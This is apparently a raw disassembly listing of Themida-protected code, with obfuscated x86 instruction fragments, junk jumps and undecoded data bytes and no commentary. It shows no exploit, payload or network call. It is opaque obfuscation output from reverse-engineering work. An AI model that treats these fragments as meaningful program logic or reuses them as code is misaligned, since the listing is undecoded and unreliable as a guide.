add dword ptr [esp+4], 32CD0185h
add dword ptr [esp+4], 57820113h
add [esp+4], ebp
jmp loc_54C209
; ---------------------------------------------------------------------------
dd 240C8B66h, 0FF87EBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F86D: ; CODE XREF: Themida_:00546630j
pop ecx
inc ebp
push ebp
not dword ptr [esp]
pop ebp
jmp loc_5485F4
; ---------------------------------------------------------------------------
db 0D3h, 2 dup(24h)
dd 6988E99Ch, 0BB53FFFFh, 47FA6098h, 0FF7B96E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F88D: ; CODE XREF: Themida_:0054709Bj
neg cl
jmp loc_547FCC
; ---------------------------------------------------------------------------
loc_54F894: ; CODE XREF: Themida_:0055128Cj
not bh
jmp loc_54D3FD
; ---------------------------------------------------------------------------
loc_54F89B: ; CODE XREF: Themida_:0055262Aj
pop esi
jmp loc_54ECEF
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 83000000h, 1C8704C3h, 70E95C24h, 89FFFFA4h, 14E9241Ch
dd 5BFFFFB7h, 0FFB67CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F8C1: ; CODE XREF: Themida_:00552227j
push edx
mov dh, 0B1h
sub al, dh
pop edx
xor bh, al
pop eax
sub al, bh
mov ebx, [esp]
add esp, 4
push small 0Fh
jmp loc_549A05
; ---------------------------------------------------------------------------
loc_54F8DE: ; CODE XREF: Themida_:005507B5j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_54A9E5
; ---------------------------------------------------------------------------
dd 515E5456h, 0E725B6B9h, 1E9835Dh, 0DA4FBD55h, 0C181A218h
dd 77FB6B26h, 97E9E901h
db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F90B: ; CODE XREF: Themida_:0054D267j
mov [esp], ebx
mov ebx, esp
jmp loc_546AF2
; ---------------------------------------------------------------------------
db 0BFh, 2, 0
dd 0F9290000h, 240C875Fh, 6624248Bh, 0E9240489h, 0FFFF68DEh
; ---------------------------------------------------------------------------
loc_54F92C: ; CODE XREF: Themida_:00546862j
add eax, edx
jmp loc_54FBEF
; ---------------------------------------------------------------------------
db 0BDh
dd 50CCCB3Dh, 0E95DE829h, 0FFFFD2C9h, 0FD6EAFBAh, 0EDCA811Bh
dd 420E3C51h, 0FFB2B9E9h, 0C7835DFFh, 7E95704h, 0E9FFFFFCh
dd 0FFFF68AAh
; ---------------------------------------------------------------------------
loc_54F960: ; CODE XREF: Themida_:005502E6j
push 30B5h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_54C015
; ---------------------------------------------------------------------------
db 87h
dd 0C15C242Ch, 0B95107EAh, 5FDF21DCh, 7FBA5249h, 295F85E7h
dd 24148BD1h, 0FF87CDE9h, 0B8BE56FFh, 4E044B1Bh, 2DEEE81h
dd 0EE8123A5h, 624307F0h, 5D1AF681h, 0F681245Ah, 667030E7h
dd 0E4DBF57h, 0FE29D539h, 5EF5015Fh, 15DEE89h, 77095AD6h
dd 24348B1Ch, 6804C483h, 6065h, 0FF241C89h, 505B2434h
dd 191768h, 24248900h, 4240481h, 8B000000h, 0C4812404h
dd 4, 29CEE9h, 52575B00h, 0FFE604E9h, 0AD768FFh, 0C890000h
dd 2D29E924h, 0D3660000h, 0E99C242Ch, 0FFFF67F2h, 4C481h
dd 0BF570000h, 7CB542BFh, 0B79BE56h, 85E952EFh, 66000006h
dd 8324048Bh, 48904ECh, 5E08924h, 4, 8904EC83h, 9E92434h
dd 55000008h, 6B1E29BDh, 81EDD164h, 0EB2A8EC5h, 5EDC103h
dd 0FFCC2BE9h, 7DF181FFh, 9444479h, 0F04FE9C8h, 0C383FFFFh
dd 0ADC38101h, 89B923E0h, 0EF015BDDh, 243C875Dh, 8124248Bh
dd 4C4h, 2434FF00h, 0E92434FFh, 0FFFFC442h, 0B3244BBBh
dd 0D8E95549h
db 82h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FA9F: ; CODE XREF: Themida_:0054C64Fj
xor ebx, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5518A4
; ---------------------------------------------------------------------------
db 1, 0D0h, 2Dh
dd 114658E4h, 8324148Bh, 0F1E904C4h, 81000023h, 107F02C1h
dd 59CB0137h, 1C8BD829h, 4C48324h, 0FFC3B7E9h, 24048FFFh
dd 92DFE95Ch, 166FFFFh, 0C38166C3h, 56666A7Bh, 1794BE66h
dd 0E9F30166h, 0FFFF897Ch, 0E9C0B60Fh, 0FFFFB68Ah
; ---------------------------------------------------------------------------
loc_54FAFC: ; CODE XREF: Themida_:0054C0C9j
pop ecx
and eax, edx
jmp loc_54F82C
; ---------------------------------------------------------------------------
dd 0F57038BAh, 45EA687Bh, 92E90000h, 68FFFFD4h, 6CFBh
dd 89242C89h, 4C581E5h, 81000000h, 2C5h, 74FF5500h, 34FF0424h
dd 0EC835D24h, 243C8904h, 38E95F54h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FB3F: ; CODE XREF: Themida_:00551EBFj
add ecx, 2
xchg ecx, [esp]
pop esp
push small 0E2Dh
mov [esp], dx
mov dh, 0A3h
add al, 8Dh
add al, dh
sub esp, 4
jmp loc_54BFEB
; ---------------------------------------------------------------------------
db 0B8h
dd 136F7F7Ch, 7D12B025h, 5AEB057Ch, 35405233h, 8120B265h
dd 91E9C229h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FB7B: ; CODE XREF: Themida_:00546404j
neg edx
jmp loc_54A83B
; ---------------------------------------------------------------------------
dw 468h
dd 5B000000h, 39DCBA52h, 0D0013E29h, 8324148Bh, 0D80104C4h
dd 39DCBB53h, 53E93E29h, 5DFFFFC8h, 4247C01h, 13D8E95Fh
dd 77FF0000h, 58669D1Ch, 24041166h, 664CE99Ch, 0D828FFFFh
dd 20E95266h, 50FFFFCCh, 2B8h, 1CEE8100h, 8111ED47h, 734EB2C6h
dd 81C6014Eh, 734EB2EEh, 1CC6814Eh, 8B11ED47h, 39E92404h
db 94h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FBEF: ; CODE XREF: Themida_:0054F92Ej
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
shr eax, 0Bh
xor ecx, eax
push 1C96h
mov [esp], edx
push ebx
pop edx
mov eax, edx
jmp loc_54E08F
; ---------------------------------------------------------------------------
dw 8F5Eh
dd 248B2404h, 24048924h, 0FF65DDE9h, 5D03BDFFh, 0EE894AADh
dd 5D2434FFh, 0FFB0CEE9h, 74FF52FFh, 58E90424h, 31FFFF86h
dd 24048BC7h, 4C481h, 0F8290000h, 0E9243C8Bh, 0FFFFA5D0h
dd 6854E381h, 0D3F71DDCh, 4BF8F381h, 0C3815926h, 596663EBh
dd 335BDF01h, 3EE9243Ch
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FC7B: ; CODE XREF: Themida_:00546FA1j
add ebp, 4
jmp loc_54E13C
; ---------------------------------------------------------------------------
dw 8952h
dd 4C281E2h, 55000000h, 8AA7E953h, 0E389FFFFh, 0FFA6F5E9h
dd 0CB685BFFh, 89000048h, 0E9562414h, 2EAh, 240C8B66h
dd 459468h, 243C8900h, 43268h, 8761E900h, 8B66FFFFh, 0E9522404h
dd 60Ah, 286C68h, 24148900h, 0BD55E289h, 4, 2C8BEA01h
dd 4C48324h, 8704C283h, 0E95C2414h, 11E9h, 68E78957h, 4B0h
dd 0FFB7C7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FCFD: ; CODE XREF: Themida_:0054AC2Bj
shr ecx, 4
sub ecx, 84F364Eh
xor ecx, 0E18CABE2h
sub ecx, esi
jmp loc_55234D
; ---------------------------------------------------------------------------
db 51h
dd 42474FFh, 24048F59h, 0FFD7DBE9h, 7DEB80FFh, 0FFB6FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FD29: ; CODE XREF: Themida_:0054A515j
push esi
mov esi, 7E7D76FAh
inc esi
not esi
or esi, 7A9D457Eh
sub esi, 59E74C0Ch
sub esi, 8F284ED6h
jmp loc_5466E8
; ---------------------------------------------------------------------------
db 5Ch, 89h, 3Ch
dd 34FF5424h, 0C4815F24h, 4, 4C781h, 0BE560000h, 4, 0FFA22FE9h
dd 58C129FFh, 5C240C87h, 24048966h, 0FF6491E9h, 0E2C142FFh
dd 58EA8104h, 0E96BF83Dh, 0FFFF78ACh, 11F0B951h, 0E1C157A7h
dd 0FA88E902h, 835EFFFFh, 0EE904C4h, 0FFFFFF68h, 8B042474h
dd 0C4832434h, 987AE904h, 492CFFFFh, 0AEDFE95Bh, 48BFFFFh
dd 0A9C7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FDBE: ; CODE XREF: Themida_:00550E3Dj
mov [esp], ebx
push 3847h
mov [esp], edx
push 4EAA74BBh
mov edx, [esp]
push ebp
jmp loc_546A92
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832434h, 0ADBA5204h, 816B2E60h, 0C666C8C2h, 81D2F779h
dd 913CC9C2h, 0F2814A2Ch, 479C7556h, 815AD601h, 2C6h, 55F46800h
dd 34890000h, 2474FF24h, 2434FF04h, 4C4815Eh, 8F000000h
dd 248B2404h, 2404D324h, 63E4E99Ch, 3605FFFFh, 5B6AB221h
dd 0FFEDDBE9h, 4C483FFh, 59FC68h, 24148900h, 0FF70B7E9h
dd 51C3B7FFh, 0EDC081B5h, 0C0C5FE05h, 76E904EDh, 1FFFFAEh
dd 0AEB81C3h, 8116B740h, 9A4A77EBh, 1C875852h, 34FF5C24h
dd 1C05E924h, 81580000h, 4C4h, 4C48100h, 83000000h, 348904ECh
dd 124CE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FE86: ; CODE XREF: Themida_:0054B672j
pop esp
push 5C55h
mov [esp], ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_551D0A
; ---------------------------------------------------------------------------
dw 431h
dd 24043324h, 2404085Ch, 6354E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FEB6: ; CODE XREF: Themida_:0054EA55j
add [esp+4], edi
mov edi, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 27FB6D0Ah
dec ebp
shl ebp, 8
push ebx
mov ebx, 7D90319h
or ebp, ebx
pop ebx
dec ebp
shl ebp, 8
add ebp, 2F4E804h
jmp loc_54A3DF
; ---------------------------------------------------------------------------
db 81h
dd 0D43D16C2h, 0B1F4E945h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FEF2: ; CODE XREF: Themida_:0054C919j
sub dword ptr [esp], 9E9477Bh
jmp loc_54D4C7
; ---------------------------------------------------------------------------
dw 895Ch
dd 6855243Ch, 50C655C9h, 7EF5815Dh, 81070370h, 0B84169EDh
dd 0B8504530h, 3F703642h, 9F760A35h, 5D0F755h, 0B26E424Bh
dd 0F7484840h, 8612DD0h, 0C5318C5Ah, 5DEF8958h, 0FFF88CE9h
dd 0E9D301FFh, 0FFFFB6DBh, 6D66F681h, 0F7319656h, 0E9F8295Eh
dd 0FFFFB6B8h, 0E902E2C1h, 0FFFF87B6h, 5D20C181h, 0F9017C9Dh
dd 5D20E981h, 0B8507C9Dh, 394B64B0h, 0E8C1D0F7h, 14F75004h
dd 0C1405824h, 0F7E908E0h, 81FFFFEEh, 4C5h, 4ED8300h, 1922E9h
dd 6274E900h, 76BEFFFFh, 0C169287Eh, 0CE8103EEh, 5F8B283Bh
dd 2F68146h, 895FAF30h, 244EE9F2h, 1C330000h, 24248B24h
dd 24042166h, 6248E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FFC2: ; CODE XREF: Themida_:005468C8j
mov dl, 0DEh
jmp loc_54C58D
; ---------------------------------------------------------------------------
loc_54FFC9: ; CODE XREF: Themida_:00550DFBj
add al, dl
pop edx
push dword ptr [esp]
pop edx
jmp loc_54C734
; ---------------------------------------------------------------------------
db 89h, 3Ch, 24h
dd 6850E789h, 6601h, 0E9243489h, 0FFFFBF54h, 6BB5E952h
dd 248BFFFFh, 2424D224h, 6210E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FFFA: ; CODE XREF: Themida_:00551000j
add ecx, 4
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
jmp loc_54CF12
; ---------------------------------------------------------------------------
dw 0E389h
dd 4B850h, 0C3010000h, 0BB1E958h, 0F9BA0000h, 814C235Bh
dd 416978EAh, 52E2D141h, 5A2414F7h, 0FFF17DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550035: ; CODE XREF: Themida_:0054EE0Aj
push 316Bh
mov [esp], edi
mov edi, esp
push ebp
mov ebp, 4
add edi, ebp
pop ebp
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], edi
mov edi, 80h
jmp loc_551080
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 835AD001h, 43304C0h, 24043124h, 8B240433h, 0C6012424h
dd 6C2CB951h, 98E975CCh, 5CFFFFEBh, 0FFE0B8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550095: ; CODE XREF: Themida_:0054E69Ej
mov [esp], edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
jmp loc_550E8B
; ---------------------------------------------------------------------------
loc_5500A7: ; CODE XREF: Themida_:00548D1Aj
shr edx, 2
push 0
jmp loc_54A57B
; ---------------------------------------------------------------------------
dd 535EF731h, 0E56DA2BBh, 0D969E91Ch, 0E958FFFFh, 0FFFFD1C9h
dd 0E94F04ACh, 0FFFFB533h
; ---------------------------------------------------------------------------
loc_5500D0: ; CODE XREF: Themida_:0054C61Fj
jmp loc_54620A
; ---------------------------------------------------------------------------
db 87h, 2Ch, 24h
dd 0D324248Bh, 0E99C243Ch, 0FFFF6126h, 33243431h, 248B2434h
dd 0C4E3E924h, 895CFFFFh, 0FE959CBh, 29FFFF61h, 0BFE95FFAh
dd 5DFFFF74h, 0FFD593E9h, 2BDFFh, 0E9010000h, 9D5E9h, 4EC8300h
dd 0BA241489h, 51F8758Eh, 0F707E2C1h, 92C0E9D2h, 0C8BFFFFh
dd 4C48324h, 1E9C381h, 0C3295AD3h, 1E9EB81h, 0B8E95AD3h
dd 81FFFFCDh, 7B5C47C6h, 0B19CE963h, 0D366FFFFh, 0E99C2404h
dd 0FFFF60B2h
; ---------------------------------------------------------------------------
loc_550158: ; CODE XREF: Themida_:00549E37j
add eax, 6D354FF9h
pop edi
add eax, 4
xchg eax, [esp]
pop esp
or eax, eax
jz loc_54E699
push dword ptr [edi+28h]
add dword ptr [esp], 6FDA416Ch
jmp loc_549E54
; ---------------------------------------------------------------------------
loc_55017E: ; CODE XREF: Themida_:0054D068j
push ecx
mov ecx, 200000h
and eax, ecx
jmp loc_547BA6
; ---------------------------------------------------------------------------
db 52h
dd 0D6F6E688h, 305AF488h, 30E230D4h, 8CA3E9D4h, 2C33FFFFh
dd 8DE95C24h, 81FFFFDCh, 4C4h, 0E9D3F600h, 0FFFFCFC6h
dd 0D0285966h, 63E95A04h, 81FFFF83h, 0BE3C63EAh, 81C2011Eh
dd 0BE3C63C2h, 24048B1Eh, 104C483h, 4EC81C2h, 89000000h
dd 0F7B82404h, 811CE47Eh, 8E28B8C2h, 81C2294Fh, 8E28B8EAh
dd 24048B4Fh, 55E08950h, 0FFE211E9h, 81DAF7FFh, 1C237CEAh
dd 2E2C149h, 0EA814A4Ah, 0F9D3390Eh, 525AD001h, 17CAE9h
dd 30F6800h, 1C890000h, 4EC8124h, 0E9000000h, 0FFFF9191h
dd 0ABE9E789h, 0B9000003h, 29BF039Ah, 5F37BA52h, 79E904DDh
dd 81000014h, 4ECh, 24148900h, 0E904EC83h, 10A1h, 4BEh
dd 1768E900h, 895C0000h, 27BB241Ch, 0F7500B03h, 1A38E9DBh
dd 0EF810000h, 33AE3130h, 0C781CF01h, 33AE3130h, 243C8759h
dd 4EC835Ch, 0B8240489h, 23C742D0h, 152DE9h, 3C895C00h
dd 2474FF24h, 48F5F04h, 24248B24h, 676768h, 24348900h
dd 0C6815E54h, 4, 107E68h, 24148900h, 4BAh, 1EE8100h, 2950B769h
dd 1BD55D6h, 150B769h, 148B5DEEh, 903BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54F960
; ---------------------------------------------------------------------------
db 5Ah
dd 0FF98FBE9h, 61A00DFFh, 12053146h, 1998792h, 38E958C7h
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550303: ; CODE XREF: Themida_:005480D4j
add ebx, ebp
pop ebp
jmp loc_54C0B3
; ---------------------------------------------------------------------------
db 66h
dd 2404BB0Fh, 5EF4E99Ch, 0E2C1FFFFh, 8E7FE905h, 0F66FFFFh
dd 9FE9C8B6h, 0BEFFFFE7h, 59FC1CB2h, 0FF6743E9h, 241C33FFh
dd 0FFCD62E9h, 66922CFFh, 28B7B753h, 1C8B66F8h, 0E3895324h
dd 4C381h, 0C3810000h, 2, 31241C33h, 1C33241Ch, 0F7685C24h
dd 8900002Ch, 0CFB3241Ch, 0B5515066h, 2809B490h, 240C8BECh
dd 0E904C483h, 0FFFF7338h, 0A8E9D801h, 81000023h, 4ECh
dd 240C8900h, 0B15131B1h, 0CE9802Ch, 0FFCF59E9h, 242C89FFh
dd 0FD1DC4BDh, 0D6CD817Ah, 811CD277h, 0D463F9E5h, 81D5F768h
dd 2B9C2BEDh, 5DEB2997h, 8B241C87h, 0C892424h, 0B694E924h
dd 8358FFFFh, 3C8904ECh, 68E78924h, 1EFFh, 0BD242C89h
dd 4, 95E9EF01h, 52FFFF88h, 0FF8C5FE9h, 74FF50FFh, 93E90424h
dd 1FFFF99h, 24148BD3h, 0FFAC3EE9h, 7BBD55FFh, 2151750Dh
dd 0A8E95DE8h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55040B: ; CODE XREF: Themida_:0054903Aj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_54DF99
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0B9240C89h, 0ED67911h, 77E9h, 0FFC83100h, 50592434h
dd 32E95854h, 8BFFFFB7h, 89512414h, 4C181E1h, 83000000h
dd 0C8704C1h, 0A7E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550462: ; CODE XREF: Themida_:0054B221j
add esp, 4
jmp loc_54DEED
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0FEh
dd 5A14BF8h, 29A3027Dh, 90E9D001h, 35FFFF96h, 91015589h
dd 3358C101h, 0D9E9240Ch, 89FFFFBFh, 0D10158C2h, 8324148Bh
dd 0C18104C4h, 4, 0FF9848E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5504A5: ; CODE XREF: Themida_:00550575j
pop edi
push ecx
mov ecx, esp
add ecx, 4
jmp loc_548557
; ---------------------------------------------------------------------------
dd 4908E9C1h, 4E9C149h, 3CF168h, 24148900h, 9E4652BAh
dd 7378E938h, 1C8BFFFFh, 4C48124h, 81000000h, 2C6h, 24343300h
dd 0FFFBFFE9h, 2434FFFFh, 0FFD8A7E9h, 88E288FFh, 24148BD1h
dd 0E9E08950h, 0FFFF74D3h, 0FF5D09E9h, 243C89FFh, 1F89E9h
dd 0E7685C00h, 8900004Fh, 0BFBB241Ch, 0E940D73Ah, 0FFFFEB16h
; ---------------------------------------------------------------------------
loc_55051C: ; CODE XREF: Themida_:00547CE8j
push 0FFFFh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
and eax, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_550FF5
; ---------------------------------------------------------------------------
loc_55054D: ; CODE XREF: Themida_:0054664Dj
not ch
and ch, 0ABh
xor ch, 9Eh
xor dl, ch
pop ecx
sub al, 32h
add al, dl
push edx
push ecx
mov cl, 32h
mov dl, cl
jmp loc_550DF5
; ---------------------------------------------------------------------------
loc_550567: ; CODE XREF: Themida_:00551501j
push 5EBAh
mov [esp], edi
mov eax, [esp]
add esp, 4
jmp loc_5504A5
; ---------------------------------------------------------------------------
dw 8B5Dh
dd 0C4832414h, 4382D04h, 0A3053435h, 147302Fh, 2FA32DD8h
dd 38054730h, 81343504h, 4ECh, 24348900h, 892AD6BEh, 5EF0013Fh
dd 436568h, 0D8CE900h, 55560000h, 4BDh, 0A7D5E900h, 0E953FFFFh
dd 1571h
; ---------------------------------------------------------------------------
loc_5505C4: ; CODE XREF: Themida_:0054ED8Ej
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5526BC
; ---------------------------------------------------------------------------
loc_5505D4: ; CODE XREF: Themida_:0054EB9Bj
sub bl, ch
push dword ptr [esp]
jmp loc_54F6A6
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 8704EF83h, 895C243Ch, 0C6B1240Ch, 0FFDFCAE9h, 0E0055EFFh
dd 105CC53h, 53E02DC8h, 0C8B05CCh, 0E7895724h, 0FFB35AE9h
dd 4C483FFh, 4BF57h, 60E90000h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55061B: ; CODE XREF: Themida_:0054A96Ej
pop ecx
jmp loc_54EDE1
; ---------------------------------------------------------------------------
loc_550621: ; CODE XREF: Themida_:0054A501j
pop dx
jmp loc_5507F4
; ---------------------------------------------------------------------------
dd 46EB815Ah, 2925A645h, 46C381C3h, 5225A645h, 9F6CA0BAh
dd 0E9D3012Ch, 0FFFFC424h, 246E93BAh, 26C38107h, 0E90BB465h
dd 1B19h, 3EC5C581h, 0EB01A3A7h, 0EE9515Dh, 81FFFF81h
dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 5B8CE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55067E: ; CODE XREF: Themida_:0054F302j
pop esp
or eax, eax
jz loc_54E045
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_550924
; ---------------------------------------------------------------------------
dd 0E9B1F680h, 0FFFF5C86h, 0C181F901h, 62D705C2h, 59C8315Fh
dd 0FF6AEBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5506BD: ; CODE XREF: Themida_:0054A9E8j
push 706Fh
mov [esp], ecx
sub esp, 4
mov [esp], ebx
jmp loc_548838
; ---------------------------------------------------------------------------
loc_5506D3: ; CODE XREF: Themida_:00546A86j
push edx
mov edx, 16A827D0h
jmp loc_54AEEB
; ---------------------------------------------------------------------------
dw 1C31h
dd 241C3324h, 48B665Ch, 0E2895224h, 1574E956h, 0ACB30000h
dd 0EB80C3FEh, 5BD82897h, 1604D800h, 5B2434FFh, 0E9E68956h
dd 11h, 8B04C483h, 0C4812414h, 4, 0FF8115E9h, 4C681FFh
dd 83000000h, 348704C6h, 1BE95C24h, 81FFFFD0h, 3B34C9C6h
dd 24148B00h, 0FFAB2EE9h, 4055AFFh, 87000000h, 248B2404h
dd 0F9685124h, 0E900002Fh, 0FFFFB00Ch, 42BDCF81h, 0F7814971h
dd 0CAEDA79h, 34FFFA31h, 0C4835F24h, 240C8B04h, 4C481h
dd 0C9090000h, 0D9D3840Fh, 8368FFFFh, 5400007Bh, 0E924048Fh
dd 0FFFF95DCh, 240C8B66h, 0E9E38953h, 0FFFFED23h
; ---------------------------------------------------------------------------
loc_550794: ; CODE XREF: Themida_:00546D2Bj
xor ebp, esi
pop esi
add ecx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, 2
jmp loc_54F8DE
; ---------------------------------------------------------------------------
dw 6858h
dd 18EBh, 54241C89h, 5B9515Bh, 81756D17h, 0BB13A6E9h, 26E98125h
dd 0E965B526h, 0FFFFCCA2h, 6DD568h, 24048900h, 0FFA3FDE9h
dd 24248BFFh, 0E9240C8Bh, 0FFFFEF1Bh
; ---------------------------------------------------------------------------
loc_5507F4: ; CODE XREF: Themida_:00550623j
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dw 0C361h
dd 24048B66h, 4EC81h, 0C890000h, 50626824h, 24890000h
dd 24048324h, 240C8B04h, 4C481h, 0C1810000h, 4, 2BE56h
dd 0D7E90000h, 81FFFFB5h, 0CDD708C6h, 5EF78926h, 2414F757h
dd 81E7D15Fh, 0DE30ECF7h, 0E9F82932h, 0FFFF623Fh, 83243489h
dd 148904ECh, 0E57CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55085A: ; CODE XREF: Themida_:0054E137j
push edx
mov edx, 51815F9Ch
shr edx, 3
push eax
mov eax, 0A302BF2h
sub edx, eax
pop eax
add esi, edx
pop edx
or esi, 732B7E69h
jmp loc_546A85
; ---------------------------------------------------------------------------
loc_55087A: ; CODE XREF: Themida_:0055230Aj
pop esi
jmp loc_54688A
; ---------------------------------------------------------------------------
dd 0C7815F54h, 4, 17E9E9h, 0E9D6F700h, 0FFFF8754h, 24048B66h
dd 0FFF04FE9h, 0F4C381FFh, 0E960FC27h, 0FFFFADA2h, 0D7B7CBB6h
dd 2841EF80h, 41C780F7h, 0E949045Ah, 0FFFFD80Dh, 4B05E3B9h
dd 61E94116h, 5CFFFFADh, 2474FF51h, 48F5904h, 24248B24h
dd 0FF672EE9h, 0CF8147FFh, 1E347ACBh, 0FFF166E9h, 4BA52FFh
dd 1000000h, 24148BD7h, 4C481h, 3C870000h, 9101E924h, 34FFFFFFh
dd 2434FF24h, 0E92434FFh, 0FFFF94C5h
; ---------------------------------------------------------------------------
loc_55090C: ; CODE XREF: Themida_:00547F0Ej
mov eax, edx
pop edx
pop ebx
jmp loc_54B466
; ---------------------------------------------------------------------------
db 66h, 0Fh, 0BEh
dd 0DA1DE9C8h, 0E95EFFFFh, 0FFFFE022h
; ---------------------------------------------------------------------------
loc_550924: ; CODE XREF: Themida_:0055069Fj
xchg esi, [esp]
mov esp, [esp]
push eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_549597
; ---------------------------------------------------------------------------
dw 0F681h
dd 22D81EEFh, 339ACE81h, 1E9620Eh, 5000001Ch, 88525152h
dd 5AD188FAh, 5359CE88h, 0F888F788h, 0C2885A5Bh, 8BD18858h
dd 0C4832414h, 247C8A04h, 244C8802h, 0E9596602h, 0BC7h
; ---------------------------------------------------------------------------
loc_550980: ; CODE XREF: Themida_:0054F49Dj
sub ebx, 142430FFh
pop edi
shl ebx, 5
add ebx, 0E4F37100h
and eax, ebx
jmp loc_54BA08
; ---------------------------------------------------------------------------
db 0FFh
dd 835A2434h, 0C28104C4h, 4, 0E902C283h, 0FFFFC774h
; ---------------------------------------------------------------------------
loc_5509AC: ; CODE XREF: Themida_:0054DA12j
push esi
jmp loc_552604
; ---------------------------------------------------------------------------
dw 83ADh
dd 148904ECh, 930EE924h, 0F280FFFFh, 0B35366AEh, 0BCF380B7h
dd 0E922C380h, 0FFFFBA5Ch, 8850C1FEh, 88D188CCh, 0C16FE9E2h
dd 535BFFFFh, 0C381E389h, 4, 0FFD576E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5509ED: ; CODE XREF: Themida_:00548C3Fj
add esp, 4
add ecx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_54D9B1
; ---------------------------------------------------------------------------
loc_550A12: ; CODE XREF: Themida_:0054F2FAj
and esi, 0FB73F42h
dec esi
xor esi, 41235A3Ah
add esi, 3F2C1C78h
xor esi, 0C8322EF2h
push eax
mov eax, esi
mov edi, eax
pop eax
pop esi
sub [esp+4], edi
pop edi
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
jmp loc_54D9D9
; ---------------------------------------------------------------------------
loc_550A55: ; CODE XREF: Themida_:00547EF8j
mov esi, 1
push ecx
push 24h
pop ecx
jmp loc_5528EA
; ---------------------------------------------------------------------------
dw 0C788h
dd 585BFA88h, 8017B652h, 0D2E94BE6h
db 5Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A77: ; CODE XREF: Themida_:0054C307j
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edi
push esp
jmp loc_54CF75
; ---------------------------------------------------------------------------
loc_550A87: ; CODE XREF: Themida_:00548AADj
add bl, al
mov ax, [esp]
add esp, 2
sub bl, 0F7h
add bl, al
add bl, 0F7h
sub bl, 80h
sub bl, 0F4h
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_54620A
; ---------------------------------------------------------------------------
loc_550AAC: ; CODE XREF: Themida_:0054BBFAj
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
or edx, eax
jmp loc_547EEE
; ---------------------------------------------------------------------------
dd 8324048Bh, 895304C4h, 4C381E3h, 52000000h, 4BAh, 0F2BA5200h
dd 0E927CA06h, 0FFFFF913h, 70431568h, 0E7ECE950h, 2C8BFFFFh
dd 4C48324h, 8B240C87h, 1662424h, 0E99C2404h, 0FFFF570Ah
